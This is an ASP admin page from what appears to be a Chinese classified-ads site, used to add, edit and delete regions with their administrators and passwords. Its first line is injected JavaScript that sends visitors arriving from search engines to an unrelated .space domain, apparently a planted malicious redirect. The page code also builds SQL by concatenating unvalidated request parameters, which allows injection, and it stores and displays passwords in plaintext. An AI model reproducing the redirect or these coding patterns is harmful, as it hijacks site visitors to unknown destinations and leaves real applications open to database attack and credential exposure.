d:\wwwroot\wuchunhua\cityadmin\cityedit.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.redirect "login.asp"
004:
end if
%
>
005:
<%
dim action,id,dcity
006:
id=request.QueryString("id")
007:
action=request.querystring("action")
008:
dcity=trim(request("city"))
009:
dcityadmin=trim(request("cityadmin"))
010:
dcitypass=trim(request("citypass"))
011:
select case action
012:
case "add"
013:
set rs=server.CreateObject("adodb.recordset")
014:
rs.open "select * from china_city",conn,1,3
015:
rs.AddNew
016:
rs("city")=dcity
017:
rs("cityadmin")=dcityadmin
018:
rs("citypass")=dcitypass
019:
rs.Update
020:
rs.Close
021:
set rs=nothing
022:
023:
case "edit"
024:
set rs=server.CreateObject("adodb.recordset")
025:
rs.open "select * from china_city where id="&id,conn,1,3
026:
ycity=rs("city")
027:
rs("city")=dcity
028:
rs("cityadmin")=dcityadmin
029:
rs("citypass")=dcitypass
030:
rs.Update
031:
rs.Close
032:
set rs=nothing
033:
sql="update china_data set city='"&dcity&"' where city='"&ycity&"'"
034:
conn.execute sql
035:
036:
case "del"
037:
set rs=server.CreateObject("adodb.recordset")
038:
conn.execute ("delete from china_city where city = '"&dcity&"'")
039:
sql="select * from china_data where city = '"&dcity&"'"
040:
set rs=server.createobject("adodb.recordset")
041:
rs.open sql,conn,3,2
042:
if not rs.eof then
043:
For iPage = 1 To rs.recordcount
044:
adid=rs("adid")
045:
rs.delete
046:
rs.update
047:
sql1="delete from china_message where adid ="&adid&""
048:
conn.execute(sql1)
049:
rs.movenext
050:
if rs.eof then exit for
051:
next
052:
rs.close
053:
set rs=nothing
054:
end if
055:
conn.close
056:
set conn=nothing
057:
response.Redirect "cityedit.asp"
058:
end select
059:
%
>
060:
<html>
061:
062:
<head>
063:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
064:
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
065:
<meta name="ProgId" content="FrontPage.Editor.Document">
066:
<title>地区分类管理</title>
067:
<link rel="stylesheet" type="text/css" href="style.css">
068:
</head>
069:
070:
<body>
071:
072:
073:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
074:
<tr>
075:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">地 区 分 类 管 理</font></td>
076:
</tr>
077:
<tr>
078:
<td bgcolor="#FFFFFF"> <br>
079:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
080:
<tr align="center" bgcolor="#FFFFFF" height="20">
081:
<td width="30">编号</td>
082:
<td>地区名称</td>
083:
<td>地区管理员</td>
084:
<td>地区管理密码</td>
085:
<td>管理操作</td>
086:
</tr>
087:
<%
set rs=server.CreateObject("adodb.recordset")
088:
rs.Open "select * from china_city order by id",conn,1,1
089:
dim follows
090:
if rs.EOF and rs.BOF then
091:
response.write"<tr bgcolor=#FFFFFF><td colspan='5'><p align='center'><font color='red'>暂无地区分类！</font></td></tr></table><br>"
092:
follows=0
093:
else
094:
do while not rs.EOF
095:
i=i+1
096:
%
>
097:
<form name="form1" method="post" action="?action=edit&id=
<%
=int(rs("id"))
%
>">
098:
<tr bgcolor="#FFFFFF" align="center">
099:
<td>
<%
=i
%
></td>
100:
101:
<td><input name="city" type="text" id="city" value="
<%
=trim(rs("city"))
%
>" size="12"></td>
102:
<td><input name="cityadmin" type="text" id="cityadmin" value="
<%
=trim(rs("cityadmin"))
%
>" size="12"></td>
103:
<td><input name="citypass" type="text" id="citypass" value="
<%
=trim(rs("citypass"))
%
>" size="12"></td>
104:
<td><input type="submit" name="Submit" value="修 改">
105:
<input type="button" name="DEL" onclick="{if(confirm('确定要删除这个地区分类吗？\n将删除此分类下所有信息\n此操作不可以恢复！')){location.href='?city=
<%
=rs("city")
%
>&action=del';}return false;}" value="删除" >
106:
</td>
107:
</tr>
108:
</form>
109:
<%
110:
rs.MoveNext
111:
loop
112:
follows=rs.RecordCount
113:
end if
%
>
114:
</table>
115:
<br></td>
116:
</tr>
117:
</table>
118:
<br>
119:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
120:
<tr>
121:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 地 区</font></td>
122:
</tr>
123:
<tr>
124:
<td bgcolor="#FFFFFF">
125:
<br>
126:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
127:
<tr align="center" bgcolor="#FFFFFF" height="20">
128:
<td width="30">编号 </td>
129:
<td>地区名称</td>
130:
<td>地区管理员</td>
131:
<td>地区管理密码</td>
132:
<td>确定操作</td>
133:
</tr>
134:
<form name="form1" method="post" action="?action=add">
135:
<tr align="center" bgcolor="#FFFFFF">
136:
<td>
<%
=rs.RecordCount+1
%
></td>
137:
<td><input name="city" type="text" id="city" size="12"></td>
138:
<td><input name="cityadmin" type="text" id="cityadmin" size="12"></td>
139:
<td><input name="citypass" type="text" id="citypass" size="12"></td>
140:
<td><input type="submit" name="Submit3" value="添 加"></td>
141:
</tr>
142:
</form>
143:
</table>
144:
<br></td>
145:
</tr>
146:
</table>
147:
</body>
148:
</html>
149:
150:
151: